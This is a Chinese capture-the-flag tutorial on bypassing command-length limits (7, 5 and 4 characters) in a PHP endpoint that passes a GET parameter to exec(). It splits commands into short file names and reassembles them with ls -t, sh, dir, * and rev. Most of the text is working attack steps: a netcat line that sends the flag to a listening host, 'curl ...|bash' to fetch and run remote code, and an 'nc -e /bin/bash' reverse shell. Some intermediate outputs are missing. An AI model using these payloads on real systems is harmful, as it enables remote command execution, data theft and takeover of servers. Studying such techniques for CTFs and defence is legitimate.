长度过滤绕过前置知识
>符号和>>符号
命令换行符
Is -t命令
sh命令
dir及*和rev命令
①>符号和>>符号
>符号会覆盖文本原有内容 # >a 可以直接创建a文件 类似于touch a
>>符号 追加内容
②命令换行符
等同于 cat a
③Is -t命令
将文件名按照时间顺序排列出来(只能精确到秒
ls -t >x 创建文件x 并且把ls -t执行结果写入到x里面
注:ls -t在拼接flag很重要
在命令执行中注意组合运用 比如用sh去读取x文件 从而达到读取flag的目的
!*注: 在遇到对命令执行有限制时 可以运用把一些很短的文件名拼接成可执行命令
④sh
从文件中读取目录
⑤dir及*和rev命令
dir:基本上和Is-样,但有两个好处:一是开头字母是d ,这使得它在alphabetical序中靠前:
二是按列输出,不换行。
$(dir *) 如果第一个文件名是命令的花 就会把目录中的第一个文件名当作命令参数来执行
也可以用*来代替
rev:可以反转文件中每一行的内容 (长度绕过会经常用到
长度为7的命令绕过解析
例题部分代码:
function filter($argv){
$a = str_replace("/\*|\|/","=====",$argv); //禁用部分字符
return $a;}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) { //限制长度
exec(filter($_GET['cmd']));
Ps:若希望执行: cat flag|nc 192.168.2.128 7777注:需要提前在接收服务器中监听端口
步骤一: 创建文件 例如:
?cmd=>7777
?cmd=>\ \\
?cmd=>128\\
?cmd=>2.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\
?cmd=>t\ \\
?cmd=>ca\\
步骤二:将文件名按顺序写入到文件
?cmd=ls -t>a //ls -t>a 刚好7个字符
步骤三: 将文件内容进行解析
?cmd=sh a
?cmd=. a
成功监听到
长度为5的命令绕过解析
例题部分代码:
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { //限制长度为5
对于长度为7的命令绕过希望执行的命令已经无法适用
可以使用 curl 192.168.1.161|bash
在服务器开启监听并且建立web服务, 在index.html写入需要执行的命令 例如nc 192.168.2.128 -e /bin/bash
步骤一:构造ls -t>y (因为限制长度为5 所以无法执行ls -t>y
则先创建文件ls\
再创建文件_ 并且把ls\写入到_文件中
#ls>_
#>\ \\
#>-t\\
#>\>y
用>>把所有文件名追加到文件_
#ls>>_
此时的文件_内容为
若执行 sh _ 则会执行 ls -t>y
步骤二:分解命令,创造文件
步骤三: 执行脚本sh
先执行 sh_ 相当于执行ls -t>y
再执行 sh y 相当于执行y文件中的内容:curl 192.168.1.161|bash
长度为4的命令绕过解析
例题部分代码:
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4)
步骤一:构建ls -t>g
会用到dir * rev 所以构造应该是反序
可以在-t后面添加h 不影响命令执行,但是可以改变顺序
所以应该修改为:
然后执行 *>v
cat v 的内容为: g>ht- sl
rev v如何在限制为4的长度下执行:
创建哥rev文件 作为后续命令 执行过程为:
此处*为通配符, 前可以执行rev 后可以执行v
步骤二:构造一个反弹shell
curl 192.168.1.161|bash ---> (进行16进制) curl 0xC0A801A1|bash
相当于:↓
步骤三:反弹回来的shell查看flag
再本地搭建个web服务 index.html中写入想要执行的命令
如:nc 192.168.1.161 -e /bin/bash
接收curl端口需要开启监听端口